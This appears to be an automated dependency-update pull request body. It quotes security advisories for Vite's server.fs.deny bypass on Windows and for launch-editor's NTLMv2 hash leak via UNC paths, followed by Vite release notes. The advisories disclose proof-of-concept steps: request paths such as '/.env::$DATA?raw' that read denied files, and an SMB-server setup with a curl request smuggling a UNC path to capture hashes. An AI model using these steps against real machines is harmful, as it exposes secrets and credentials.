`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r](https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-39364](https://nvd.nist.gov/vuln/detail/CVE-2026-39364) - [https://github.com/vitejs/vite/pull/22160](https://github.com/vitejs/vite/pull/22160) - [https://github.com/vitejs/vite/commit/a9a3df299378d9cbc5f069e3536a369f8188c8ff](https://github.com/vitejs/vite/commit/a9a3df299378d9cbc5f069e3536a369f8188c8ff) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) - [https://github.com/vitejs/vite/releases/tag/v7.3.2](https://github.com/vitejs/vite/releases/tag/v7.3.2) - [https://github.com/vitejs/vite/releases/tag/v8.0.5](https://github.com/vitejs/vite/releases/tag/v8.0.5) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v2wj-q39q-566r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### vite: `server.fs.deny` bypass on Windows alternate paths [CVE-2026-53571](https://nvd.nist.gov/vuln/detail/CVE-2026-53571) / [GHSA-fx2h-pf6j-xcff](https://github.com/advisories/GHSA-fx2h-pf6j-xcff) <details> <summary>More information</summary> #### Details ##### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. ##### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) ##### Details Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. ##### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Access via browser at `http://localhost:5173/.env::$DATA?raw` <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" /> Example expected result: - `/.env::$DATA?raw` returns the contents of `.env` - `/tls.pem::$DATA?raw` returns the contents of `tls.pem` #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff](https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff) - [https://nvd.nist.gov/vuln/detail/CVE-2026-53571](https://nvd.nist.gov/vuln/detail/CVE-2026-53571) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fx2h-pf6j-xcff) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows [CVE-2026-53632](https://nvd.nist.gov/vuln/detail/CVE-2026-53632) / [GHSA-v6wh-96g9-6wx3](https://github.com/advisories/GHSA-v6wh-96g9-6wx3) <details> <summary>More information</summary> #### Details ##### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ##### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ##### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ##### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" /> #### Severity - CVSS Score: 5.5 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3](https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v6wh-96g9-6wx3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v7.3.5`](https://github.com/vitejs/vite/releases/tag/v7.3.5) [Compare Source](https://github.com/vitejs/vite/compare/v7.3.3...v7.3.5) Please refer to [CHANGELOG.md](https://github.com/vitejs/vite/blob/v7.3.5/packages/vite/CHANGELOG.md) for details. ### [`v7.3.3`](https://github.com/vitejs/vite/releases/tag/v7.3.3) [Compare Source](https://github.com/vitejs/vite/compare/v7.3.2...v7.3.3) Please refer to [CHANGELOG.md](https://github.com/vitejs/vite/blob/v7.3.3/packages/vite/CHANGELOG.md) for details. ### [`v7.3.2`](https://github.com/vitejs/vite/releases/tag/v7.3.2) [Compare Source](https://github.com/vitejs/vite/compare/v7.3.1...v7.3.2) Please refer to [CHANGELOG.md](https://github.com/vitejs/vite/blob/v7.3.2/packages/vite/CHANGELOG.md) for details. ### [`v7.3.1`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-731-2026-01-07-small) [Compare Source](https://github.com/vitejs/vite/compare/v7.3.0...v7.3.1) ##### Features - add `ignoreOutdatedRequests` option to `optimizeDeps` ([#&#8203;21364](https://github.com/vitejs/vite/issues/21364)) ([9d39d37](https://github.com/vitejs/vite/commit/9d39d373a7b4e0a93322b70b9dbeb202af06af3e)) ### [`v7.3.0`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#730-2025-12-15) [Compare Source](https://github.com/vitejs/vite/compare/v7.2.7...v7.3.0) ##### Features - **deps:** update esbuild from ^0.25.0 to ^0.27.0 ([#&#8203;21183](https://github.com/vitejs/vite/issues/21183)) ([cff26ec](https://github.com/vitejs/vite/commit/cff26ec0fc13373d7125a5eac6cb01fe63fee4b1)) ### [`v7.2.7`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-727-2025-12-08-small) [Compare Source](https://github.com/vitejs/vite/compare/v7.2.6...v7.2.7) ##### Bug Fixes - plugin shortcut support ([#&#8203;21211](https://github.com/vitejs/vite/issues/21211)) ([721f163](https://github.com/vitejs/vite/commit/721f16343d9555ae8fc71a2e5354b22e12ff0dc3)) ### [`v7.2.6`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-726-2025-12-01-small) [Compare Source](https://github.com/vitejs/vite/compare/v7.2.4...v7.2.6) #### <small>[7.2.6](https://github.com/vitejs/vite/compare/v7.2.5...v7.2.6) (2025-12-01)</small> ### [`v7.2.4`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#800-2026-03-12) [Compare Source](https://github.com/vitejs/vite/compare/v7.2.3...v7.2.4)  Today, we're thrilled to announce the release of the next Vite major: - **[Vite 8.0 announcement blog post](https://vite.dev/blog/announcing-vite8.html)** - [Docs](https://vite.dev/) (translations: [简体中文](https://cn.vite.dev/), [日本語](https://ja.vite.dev/), [Español](https://es.vite.dev/), [Português](https://pt.vite.dev/), [한국어](https://ko.vite.dev/), [Deutsch](https://de.vite.dev/), [فارسی](https://fa.vite.dev/)) - [Migration Guide](https://vite.dev/guide/migration.html) ##### ⚠ BREAKING CHANGES - remove `import.meta.hot.accept` resolution fallback ([#&#8203;21382](https://github.com/vitejs/vite/issues/21382)) ([71d0797](https://github.com/vitejs/vite/commit/71d0797a719440f2a09b3364bfcf18576c2b67fb)) - update default browser target ([#&#8203;21193](https://github.com/vitejs/vite/issues/21193)) ([8c3dd06](https://github.com/vitejs/vite/commit/8c3dd06bd9903bf0e6bc51f3554eea8cb6b26903)) - the epic `rolldown-vite` merge ([#&#8203;21189](https://github.com/vitejs/vite/issues/21189)) ([4a7f8d4](https://github.com/vitejs/vite/commit/4a7f8d43e6b14b89fef278c3ea86f9e3f64b7fc2)) ##### Features - update rolldown to 1.0.0-rc.9 ([#&#8203;21813](https://github.com/vitejs/vite/issues/21813)) ([f05be0e](https://github.com/vitejs/vite/commit/f05be0eabf5c045b8892d463081da3c8fbf5a5ae)) - warn when `vite-tsconfig-paths` plugin is detected ([#&#8203;21781](https://github.com/vitejs/vite/issues/21781)) ([ada493e](https://github.com/vitejs/vite/commit/ada493e4214ef2028b96583550443a386be2e2ae)) - **css:** support es2025 build target for lightningcss ([#&#8203;21769](https://github.com/vitejs/vite/issues/21769)) ([08906e7](https://github.com/vitejs/vite/commit/08906e76f2fc0e55c8aea6243f6203ce0c78f106)) - forward browser console logs and errors to dev server terminal ([#&#8203;20916](https://github.com/vitejs/vite/issues/20916)) ([2540ed0](https://github.com/vitejs/vite/commit/2540ed06d0b6f93829d2d764b6a02f7dbfd14923)) - update rolldown to 1.0.0-rc.8 ([#&#8203;21790](https://github.com/vitejs/vite/issues/21790)) ([a0c950e](https://github.com/vitejs/vite/commit/a0c950e30945cc97fb2381a2affac086730fa31e)) - export `Visitor` and `ESTree` from `rolldown/utils` ([#&#8203;21664](https://github.com/vitejs/vite/issues/21664)) ([45de31e](https://github.com/vitejs/vite/commit/45de31e5ffcc514832aec96fa6e09a189c26d684)) - update rolldown to 1.0.0-rc.6 ([#&#8203;21714](https://github.com/vitejs/vite/issues/21714)) ([37a65f8](https://github.com/vitejs/vite/commit/37a65f8c31b5baeb4dadecfd4da98f81bae4202e)) - use util.inspect for CLI error display ([#&#8203;21668](https://github.com/vitejs/vite/issues/21668)) ([5f425a9](https://github.com/vitejs/vite/commit/5f425a9126ad1a483f482970bef8c29a0e721a3c)) - update rolldown to 1.0.0-rc.5 ([#&#8203;21660](https://github.com/vitejs/vite/issues/21660)) ([b3ddbc5](https://github.com/vitejs/vite/commit/b3ddbc54ee5b836852b09811c8e920b2b2cde7cb)) - update rolldown to 1.0.0-rc.4 ([#&#8203;21617](https://github.com/vitejs/vite/issues/21617)) ([1ee5c7f](https://github.com/vitejs/vite/commit/1ee5c7f796c24d7319fbd5258bbdce4968859efe)) - **wasm:** add SSR support for `.wasm?init` ([#&#8203;21102](https://github.com/vitejs/vite/issues/21102)) ([216a3b5](https://github.com/vitejs/vite/commit/216a3b53c610918027a7713a0d5495628f77d306)) - integrate devtools ([#&#8203;21331](https://github.com/vitejs/vite/issues/21331)) ([acbf507](https://github.com/vitejs/vite/commit/acbf507bcb05f9cd9525c765431b3e0ed97328e4)) - update rolldown to 1.0.0-rc.3 ([#&#8203;21554](https://github.com/vitejs/vite/issues/21554)) ([43358e9](https://github.com/vitejs/vite/commit/43358e97cd6485513f25ee11133333cba05841e3)) - **manifest:** add `assets` field for standalone CSS entry points ([#&#8203;21015](https://github.com/vitejs/vite/issues/21015)) ([f289b9b](https://github.com/vitejs/vite/commit/f289b9b0ce7821b1554b878d083c426e7a695b59)) - update rolldown to 1.0.0-rc.2 ([#&#8203;21512](https://github.com/vitejs/vite/issues/21512)) ([fa136a9](https://github.com/vitejs/vite/commit/fa136a9e68921f3ca396e0870193fe805fbfb7b4)) - **bundled-dev:** support worker in initial bundle ([#&#8203;21415](https://github.com/vitejs/vite/issues/21415)) ([f3d3149](https://github.com/vitejs/vite/commit/f3d31499c714fe5c5acf8355520624c662f9d79f)) - **dev:** detect port conflicts on wildcard hosts ([#&#8203;21381](https://github.com/vitejs/vite/issues/21381)) ([b0dd5a9](https://github.com/vitejs/vite/commit/b0dd5a993fd2f95c8cb2190a3ca4296bc9e06359)) - shortcuts case insensitive ([#&#8203;21224](https://github.com/vitejs/vite/issues/21224)) ([7796ade](https://github.com/vitejs/vite/commit/7796aded764bca987abfec8ab0ad0438c5a5e7eb)) - update rolldown to 1.0.0-rc.1 ([#&#8203;21463](https://github.com/vitejs/vite/issues/21463)) ([ff9dd7f](https://github.com/vitejs/vite/commit/ff9dd7fef0d3c898e317fca84a629828f3e28936)) - warn if `envPrefix` contains spaces ([#&#8203;21292](https://github.com/vitejs/vite/issues/21292)) ([9fcde3c](https://github.com/vitejs/vite/commit/9fcde3c870896a62fbca19be8ee14efab9393f4a)) - update rolldown to 1.0.0-beta.60 ([#&#8203;21408](https://github.com/vitejs/vite/issues/21408)) ([c33aa7c](https://github.com/vitejs/vite/commit/c33aa7cfd142a0dd38ed89589fc7b04cf8866791)) - update rolldown to 1.0.0-beta.59 ([#&#8203;21374](https://github.com/vitejs/vite/issues/21374)) ([0037943](https://github.com/vitejs/vite/commit/00379439fa62383460b056d587d0366597c19ab4)) - add `ignoreOutdatedRequests` option to `optimizeDeps` ([#&#8203;21364](https://github.com/vitejs/vite/issues/21364)) ([b2e75aa](https://github.com/vitejs/vite/commit/b2e75aabe93e3219f40fa5ad8755d53cdd2439b5)) - add ios to default esbuild targets ([#&#8203;21342](https://github.com/vitejs/vite/issues/21342)) ([daae6e9](https://github.com/vitejs/vite/commit/daae6e9f5dd223258a9e7a9a7fa22c8a4564902f)) - update rolldown to 1.0.0-beta.58 ([#&#8203;21354](https://github.com/vitejs/vite/issues/21354)) ([ba40cef](https://github.com/vitejs/vite/commit/ba40cef16d20590f7115d4d628d9b79fa0783473)) - update rolldown to 1.0.0-beta.57 ([#&#8203;21335](https://github.com/vitejs/vite/issues/21335)) ([d5412ef](https://github.com/vitejs/vite/commit/d5412ef4c472bc5fef4ed69cfee4ef4a929c6be9)) - **css:** support es2024 build target for lightningcss ([#&#8203;21294](https://github.com/vitejs/vite/issues/21294)) ([bd33b8e](https://github.com/vitejs/vite/commit/bd33b8e08768fdcef0b09e3eefa649fdcafdd397)) - update rolldown to 1.0.0-beta.56 ([#&#8203;21323](https://github.com/vitejs/vite/issues/21323)) ([9847a63](https://github.com/vitejs/vite/commit/9847a634cf36de2e6ac0043ffd22cefb1b5951bd)) - introduce v2 native plugins and enable it by default ([#&#8203;21268](https://github.com/vitejs/vite/issues/21268)) ([42f2ab3](https://github.com/vitejs/vite/commit/42f2ab3aec7cd0e03e195611b1e1ddabbedc9d61)) - **ssr:** avoid errors when rewriting already rewritten stacktrace ([#&#8203;21269](https://github.com/vitejs/vite/issues/21269)) ([98d9a33](https://github.com/vitejs/vite/commit/98d9a33274d9ac90780786afa612d916feddf2e3)) - update rolldown to 1.0.0-beta.55 ([#&#8203;21300](https://github.com/vitejs/vite/issues/21300)) ([2c8db85](https://github.com/vitejs/vite/commit/2c8db858d7081e898f63ce9569c3f19a91a10956)) - update rolldown to 1.0.0-beta.54 ([#&#8203;21267](https://github.com/vitejs/vite/issues/21267)) ([c751172](https://github.com/vitejs/vite/commit/c75117213cb1d2d13554fbc26a75e8df191c27eb)) - add a warning that is output when a plugin sets esbuild related options ([#&#8203;21218](https://github.com/vitejs/vite/issues/21218)) ([200646b](https://github.com/vitejs/vite/commit/200646b14397bfb80e9b29d2e4b33fcfc72d6b2c)) - highly experimental full bundle mode ([#&#8203;21235](https://github.com/vitejs/vite/issues/21235)) ([83d8c99](https://github.com/vitejs/vite/commit/83d8c99753d8bd5c1ea9b7a00e6998c865dad4e2)) - print esbuild options when both esbuild and oxc options are set ([#&#8203;21216](https://github.com/vitejs/vite/issues/21216)) ([08ae87b](https://github.com/vitejs/vite/commit/08ae87b14a3ce5f7cb3f1a382f497d36d0c2e01b)) - update default browser target ([#&#8203;21193](https://github.com/vitejs/vite/issues/21193)) ([8c3dd06](https://github.com/vitejs/vite/commit/8c3dd06bd9903bf0e6bc51f3554eea8cb6b26903)) - the epic `rolldown-vite` merge ([#&#8203;21189](https://github.com/vitejs/vite/issues/21189)) ([4a7f8d4](https://github.com/vitejs/vite/commit/4a7f8d43e6b14b89fef278c3ea86f9e3f64b7fc2)) ##### Bug Fixes - **deps:** update all non-major dependencies ([#&#8203;21786](https://github.com/vitejs/vite/issues/21786)) ([eaa4352](https://github.com/vitejs/vite/commit/eaa4352af8f8658e3a10a9945ad9c227fcb2f28a)) - use `watch.watcher` instead of `watch.notify` ([#&#8203;21793](https://github.com/vitejs/vite/issues/21793)) ([88953b3](https://github.com/vitejs/vite/commit/88953b331d6b6acf20dc1731745f27712b091fd9)) - **css:** apply `server.origin` to public file URLs in CSS (fix [#&#8203;18457](https://github.com/vitejs/vite/issues/18457)) ([#&#8203;21697](https://github.com/vitejs/vite/issues/21697)) ([c967f48](https://github.com/vitejs/vite/commit/c967f48b2e888585e977c3a8d829f7370eb40922)) - **deps:** update all non-major dependencies ([#&#8203;21732](https://github.com/vitejs/vite/issues/21732)) ([5c921ca](https://github.com/vitejs/vite/commit/5c921ca9bfe64327df82b04ae34ccfe0a7cfa297)) - **dev:** disable extglobs for consistency ([#&#8203;21745](https://github.com/vitejs/vite/issues/21745)) ([1958eeb](https://github.com/vitejs/vite/commit/1958eeb34f9eab93f106b785c1c2ddf97b5c3b3a)) - **lib:** keep annotation comments for es output ([#&#8203;21740](https://github.com/vitejs/vite/issues/21740)) ([dd3c4f4](https://github.com/vitejs/vite/commit/dd3c4f4cf0f9e665e56e6d9a9cb7007fc3ac0dc3)) - **optimizer:** avoid error happening with a package with asset entrypoint ([#&#8203;21766](https://github.com/vitejs/vite/issues/21766)) ([f7e1d07](https://github.com/vitejs/vite/commit/f7e1d0720e6b9f2ce5d358b6a23ebdb72c51be70)) - **ssr:** throw friendly error when calling `ssrLoadModule` with non-runnable ssr env ([#&#8203;21739](https://github.com/vitejs/vite/issues/21739)) ([1fa736e](https://github.com/vitejs/vite/commit/1fa736e802c3f0fa0eacdda1d5d1c976794459bd)) - **types:** remove extends ImportMeta from ModuleRunnerImportMeta ([#&#8203;21710](https://github.com/vitejs/vite/issues/21710)) ([0176d45](https://github.com/vitejs/vite/commit/0176d45deb29f5db1f551d20d828598c2130be36)) - **wasm:** reset assetUrlRE.lastIndex before .test() in SSR builds ([#&#8203;21780](https://github.com/vitejs/vite/issues/21780)) ([3a0d8d9](https://github.com/vitejs/vite/commit/3a0d8d94a8868f5e118c81bc35a657ef19ff7d82)) - **deps:** update all non-major dependencies ([#&#8203;21691](https://github.com/vitejs/vite/issues/21691)) ([521fdc0](https://github.com/vitejs/vite/commit/521fdc0ced51ddee7f728e6f891f36ebc6c0e1ce)) - **optimizer:** avoid duplicate modules when `preserveSymlinks` is enabled ([#&#8203;21720](https://github.com/vitejs/vite/issues/21720)) ([72165e0](https://github.com/vitejs/vite/commit/72165e0f58d49b894a366af25993cbffbd0ee986)) - **dev:** only treat EADDRINUSE as port conflict in wildcard pre-check ([#&#8203;21642](https://github.com/vitejs/vite/issues/21642)) ([e54e25f](https://github.com/vitejs/vite/commit/e54e25fbb9b721b2c655d17e35706e070c92ff70)) - **dev:** prevent concurrent server restarts ([#&#8203;21636](https://github.com/vitejs/vite/issues/21636)) ([8ce23a3](https://github.com/vitejs/vite/commit/8ce23a3b6e1eb86eef2b50c1bfbad072bbf9a03a)) - **dev:** return "502 Bad Gateway" on proxy failures instead of 500 ([#&#8203;21652](https://github.com/vitejs/vite/issues/21652)) ([e240df2](https://github.com/vitejs/vite/commit/e240df2ea4accd11631aac0f361e846a2e3140b0)) - clear tsconfig cache only when tsconfig.json is cached ([#&#8203;21622](https://github.com/vitejs/vite/issues/21622)) ([50c9675](https://github.com/vitejs/vite/commit/50c9675aa6c488b9887b7849a3397b7b29d1bd74)) - **deps:** update all non-major dependencies ([#&#8203;21594](https://github.com/vitejs/vite/issues/21594)) ([becdc5d](https://github.com/vitejs/vite/commit/becdc5dcc49efa3769c92e9929fb2280fd776206)) - **lib:** CSS injection point error with nested name IIFE output ([#&#8203;21606](https://github.com/vitejs/vite/issues/21606)) ([5003de6](https://github.com/vitejs/vite/commit/5003de6253ffdb23d1a52b1b5e06281d34f3a6ec)) - **module-runner:** incorrect column with `sourcemapInterceptor: "prepareStackTrace"` ([#&#8203;21562](https://github.com/vitejs/vite/issues/21562)) ([416c095](https://github.com/vitejs/vite/commit/416c0959ebd63db622c6579b53065e95f09c63f8)) - **module-runner:** prevent crash on negative column in stacktrace ([#&#8203;21585](https://github.com/vitejs/vite/issues/21585)) ([a075590](https://github.com/vitejs/vite/commit/a075590c4091240a6f0caca6b052500fd122f041)) - rolldownOptions/rollupOptions merging at environment level ([#&#8203;21612](https://github.com/vitejs/vite/issues/21612)) ([db2ecc7](https://github.com/vitejs/vite/commit/db2ecc7675c3932fc9e127b726ab8b0cab25f75c)) - **scanner:** respect tsconfig.json ([#&#8203;21547](https://github.com/vitejs/vite/issues/21547)) ([c6c04db](https://github.com/vitejs/vite/commit/c6c04db9c67d1b390d40fd1fd026d49204957f8d)) - avoid registering customization hook for import meta resolver multiple times ([#&#8203;21518](https://github.com/vitejs/vite/issues/21518)) ([8bb3203](https://github.com/vitejs/vite/commit/8bb32036792a6f522f5c947112f3d688add755a0)) - **config:** avoid watching rolldown runtime virtual module ([#&#8203;21545](https://github.com/vitejs/vite/issues/21545)) ([d18b139](https://github.com/vitejs/vite/commit/d18b13957b3bec08eae5a9ff80340488c8150d46)) - **deps:** update all non-major dependencies ([#&#8203;21540](https://github.com/vitejs/vite/issues/21540)) ([9ebaeaa](https://github.com/vitejs/vite/commit/9ebaeaac094db996b1d12665052633c20ac8a9cf)) - populate originalFileNames when resolving CSS asset paths ([#&#8203;21542](https://github.com/vitejs/vite/issues/21542)) ([8b47ff7](https://github.com/vitejs/vite/commit/8b47ff76d28630b4dc39c77fbd2762b4c36ad23d)) - **deps:** update all non-major dependencies ([#&#8203;21488](https://github.com/vitejs/vite/issues/21488)) ([2b32ca2](https://github.com/vitejs/vite/commit/2b32ca24fe9d742901c2cb5c88e6b1fd734f8c73)) - disable `tsconfig` option when loading config ([#&#8203;21517](https://github.com/vitejs/vite/issues/21517)) ([5025c35](https://github.com/vitejs/vite/commit/5025c358d119aa0b60d0505f9dd705950ad897f6)) - **optimizer:** map relative `new URL` paths to correct relative file location ([#&#8203;21434](https://github.com/vitejs/vite/issues/21434)) ([ca96cbc](https://github.com/vitejs/vite/commit/ca96cbc8eff23091c288f9eaf1944af2de3c564f)) - avoid using deprecated `output.inlineDynamicImport` option ([#&#8203;21464](https://github.com/vitejs/vite/issues/21464)) ([471ce62](https://github.com/vitejs/vite/commit/471ce6275663f068afa241a55711fd646d482385)) - use separate hook object for each environment ([#&#8203;21472](https://github.com/vitejs/vite/issues/21472)) ([66347f6](https://github.com/vitejs/vite/commit/66347f6df0e723d9d03ea31ab41ab5b767ad15ba)) - **deps:** update all non-major dependencies ([#&#8203;21440](https://github.com/vitejs/vite/issues/21440)) ([1835995](https://github.com/vitejs/vite/commit/18359959cb2960a2fb2b9a340e5ae27d122a1501)) - **dev:** avoid event emitter leak caused by `server.listen` callback ([#&#8203;21451](https://github.com/vitejs/vite/issues/21451)) ([602d786](https://github.com/vitejs/vite/commit/602d7865db2b12835c8225f3e87076bef4e247b9)) - lazy hook filter should work ([#&#8203;21443](https://github.com/vitejs/vite/issues/21443)) ([bc0c207](https://github.com/vitejs/vite/commit/bc0c207f537789d10d55caa4ee3697aa923b8426)) - **optimizer:** skip `rolldownCjsExternalPlugin` for `platform: neutral` ([#&#8203;21452](https://github.com/vitejs/vite/issues/21452)) ([d2fc4be](https://github.com/vitejs/vite/commit/d2fc4be0447e384e18e557b70f7c345d5bcea941)) - **deps:** update all non-major dependencies ([#&#8203;21389](https://github.com/vitejs/vite/issues/21389)) ([30f48df](https://github.com/vitejs/vite/commit/30f48df33ec9e9bd0b8164461eede5574398370b)) - **deps:** update esbuild peerDependency version ([#&#8203;21398](https://github.com/vitejs/vite/issues/21398)) ([4266c97](https://github.com/vitejs/vite/commit/4266c978083b3afa8d09ac3d3a110ee79f8efde2)) - **hmr:** trigger prune event when last import is removed ([#&#8203;20781](https://github.com/vitejs/vite/issues/20781)) ([#&#8203;21093](https://github.com/vitejs/vite/issues/21093)) ([7576735](https://github.com/vitejs/vite/commit/757673528c64945b77aee4a8e01669ccd0644973)) - **module-runner:** use `process.getBuiltinModule` instead of `import('node:module')` ([#&#8203;21402](https://github.com/vitejs/vite/issues/21402)) ([6633bcb](https://github.com/vitejs/vite/commit/6633bcb94149a2923cb6419aa481c5384bcf9310)) - support .env file mounts (FIFOs) ([#&#8203;21365](https://github.com/vitejs/vite/issues/21365)) ([6e6f82a](https://github.com/vitejs/vite/commit/6e6f82a067acc6e158be3b82edb3d7d2888f9af2)) - **css:** stylus Evaluator support ([#&#8203;21376](https://github.com/vitejs/vite/issues/21376)) ([cf9ace1](https://github.com/vitejs/vite/commit/cf9ace1b40b2767b9b9cbbabb084fe2e32afc535)) - **deps:** update all non-major dependencies ([#&#8203;21321](https://github.com/vitejs/vite/issues/21321)) ([9bc7c2e](https://github.com/vitejs/vite/commit/9bc7c2ed4f387fb982b84d1988a26af8990096f7)) - **import-analysis:** avoid cjs interop for built browser external module ([#&#8203;21333](https://github.com/vitejs/vite/issues/21333)) ([dc5a2fb](https://github.com/vitejs/vite/commit/dc5a2fb86f10c69b0ba6bc1831d9a29c79754ba2)) - **worker:** handle `new Worker(..., new URL(import.meta.url))` with trailing comma ([#&#8203;21325](https://github.com/vitejs/vite/issues/21325)) ([4a47241](https://github.com/vitejs/vite/commit/4a472418c02a0821900678778752c2d361bae3bd)) - detect `import.meta.resolve` when formatted across multiple lines ([#&#8203;21312](https://github.com/vitejs/vite/issues/21312)) ([130e718](https://github.com/vitejs/vite/commit/130e7181a55c524383c63bbfb1749d0ff7185cad)) - allow no-cors requests for non-script tag requests ([#&#8203;21299](https://github.com/vitejs/vite/issues/21299)) ([ef3d596](https://github.com/vitejs/vite/commit/ef3d59648fd9dd3f9b3118d09d216dc0afcb8c33)) - **deps:** update all non-major dependencies ([#&#8203;21285](https://github.com/vitejs/vite/issues/21285)) ([4635b2e](https://github.com/vitejs/vite/commit/4635b2e90f833d1048d76381e20208c0e0841e97)) - unreachable error when building with `experimental.bundledDev` is enabled ([#&#8203;21296](https://github.com/vitejs/vite/issues/21296)) ([e81c183](https://github.com/vitejs/vite/commit/e81c183f8c8ccaf7774ef0d0ee125bf63dbf30b4)) - **deps:** update all non-major dependencies ([#&#8203;21231](https://github.com/vitejs/vite/issues/21231)) ([859789c](https://github.com/vitejs/vite/commit/859789c856412dfa67969232ddda1df754febf40)) - don't strip base from imports ([#&#8203;21221](https://github.com/vitejs/vite/issues/21221)) ([7da742b](https://github.com/vitejs/vite/commit/7da742b478d2309c7d8de4cb55614a6476f350b4)) - allow exiting process before optimizer cleanup is done ([#&#8203;21170](https://github.com/vitejs/vite/issues/21170)) ([55ceffc](https://github.com/vitejs/vite/commit/55ceffc8976b8bb8c819f5b47419f8499ba3f843)) - plugin shortcut support ([#&#8203;21211](https://github.com/vitejs/vite/issues/21211)) ([6a3aca0](https://github.com/vitejs/vite/commit/6a3aca084356316811ff62cbedb5a410a249e789)) ##### Performance Improvements - **ssr:** skip circular import check for already-evaluated modules ([#&#8203;21632](https://github.com/vitejs/vite/issues/21632)) ([235140b](https://github.com/vitejs/vite/commit/235140b2d519e866fc28f88fe8155a5091630daf)) - use tsconfig cache for oxc transform in dev ([#&#8203;21643](https://github.com/vitejs/vite/issues/21643)) ([57ff177](https://github.com/vitejs/vite/commit/57ff177575bef6bee81a250e853d2c99affa0015)) ##### Documentation - bulk of typo fixes 